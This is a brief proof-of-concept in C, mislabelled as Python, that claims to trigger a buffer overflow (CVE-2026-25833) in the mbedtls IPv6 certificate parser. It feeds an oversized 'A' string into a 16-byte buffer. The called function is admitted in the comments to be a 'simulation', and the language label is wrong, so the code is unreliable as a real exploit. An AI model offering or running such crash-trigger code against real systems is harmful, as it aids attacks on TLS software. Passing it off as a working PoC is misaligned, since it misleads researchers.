The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <string.h>
#include "mbedtls/x509.h"
// PoC for CVE-2026-25833: Buffer overflow in x509_inet_pton_ipv6
// This code attempts to trigger the overflow by passing a long IPv6 string.
int main() {
// Create a malicious long IPv6 string
char malicious_ipv6[256];
memset(malicious_ipv6, 'A', sizeof(malicious_ipv6) - 1);
malicious_ipv6[sizeof(malicious_ipv6) - 1] = '\0';
unsigned char output_buffer[16];
printf("Attempting to trigger CVE-2026-25833...\n");
// Call the vulnerable function (simulation based on description)
// In a real scenario, this would be the internal x509_inet_pton_ipv6 call
// during certificate parsing or IP verification.
int result = mbedtls_x509_crt_parse_ipv6(malicious_ipv6, output_buffer);
if (result != 0) {
printf("Function returned error code: %d\n", result);
} else {
printf("Function call succeeded (unexpected).\n");
}
return 0;
}